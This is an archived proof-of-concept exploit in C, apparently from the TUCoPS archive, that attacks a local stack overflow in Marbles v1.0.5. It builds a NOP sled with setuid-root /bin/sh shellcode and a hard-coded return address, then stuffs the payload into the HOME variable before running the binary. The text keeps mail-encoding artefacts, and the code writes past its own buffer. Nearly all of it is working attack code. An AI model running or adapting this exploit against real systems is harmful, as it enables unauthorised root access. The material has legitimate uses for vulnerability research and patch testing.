TUCoPS :: Linux :: Apps A-M :: bt1228.txt

Marbles v1.0.5 local PoC exploit.
/* c-marbles.c=0A=
 *=0A=
 * PoC exploit made for advisory based uppon an local stack based =
overflow.=0A=
 * Vulnerable versions, maybe also prior versions:=0A=
 *=0A=
 * Marbles v1.0.5=0A=
 *=0A=
 * Tested on: Redhat 9.0=0A=
 *=0A=
 * Advisory source: Steve Kemp=0A=
 * http://www.debian.org/security/2003/dsa-390=0A=
 *=0A=
 * ---------------------------------------------=0A=
 * coded by: demz (c-code.net) (demz@c-code.net)=0A=
 * ---------------------------------------------=0A=
 *=0A=
 */=0A=
=0A=
#include <stdio.h>=0A=
#include <stdlib.h>=0A=
=0A=
char shellcode[]=3D=0A=
=0A=
	"\x31\xc0" // xor eax, eax=0A=
 "\x31\xdb" // xor ebx, ebx=0A=
 "\x31\xc9" // xor ecx, ecx=0A=
 "\xb0\x46" // mov al, 70=0A=
 "\xcd\x80" // int 0x80=0A=
=0A=
 "\x31\xc0" // xor eax, eax=0A=
 "\x50" // push eax=0A=
 "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e=0A=
 "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f=0A=
 "\x89\xe3" // mov ebx, esp=0A=
 "\x50" // push eax=0A=
 "\x53" // push ebx=0A=
 "\x89\xe1" // mov ecx, esp=0A=
 "\x99" // cdq=0A=
 "\xb0\x0b" // mov al, 11=0A=
 "\xcd\x80" // int 0x80=0A=
=0A=
 "\x31\xc0" // xor eax, eax=0A=
 "\xb0\x01" // mov al, 1=0A=
 "\xcd\x80"; // int 0x80=0A=
=0A=
int main()=0A=
{=0A=
	unsigned long ret =3D 0xbffff70c;=0A=
=0A=
	char buffer[3988];=0A=
	int i=3D0;=0A=
=0A=
	memset(buffer, 0x90, sizeof(buffer));=0A=
=0A=
	for (0; i < strlen(shellcode) - 1;i++)=0A=
	buffer[2000 + i] =3D shellcode[i];=0A=
=0A=
	buffer[3988] =3D (ret & 0x000000ff);=0A=
	buffer[3989] =3D (ret & 0x0000ff00) >> 8;=0A=
	buffer[3990] =3D (ret & 0x00ff0000) >> 16;=0A=
	buffer[3991] =3D (ret & 0xff000000) >> 24;=0A=
	buffer[3992] =3D 0x0;=0A=
=0A=
	printf("\nMarbles v1.0.5 local exploit\n");=0A=
 printf("---------------------------------------- demz @ =
c-code.net --\n");=0A=
=0A=
	setenv("HOME", buffer, 1);=0A=
=0A=
	execl("/usr/local/bin/marbles", "marbles", NULL);=0A=
}=0A=
=0A=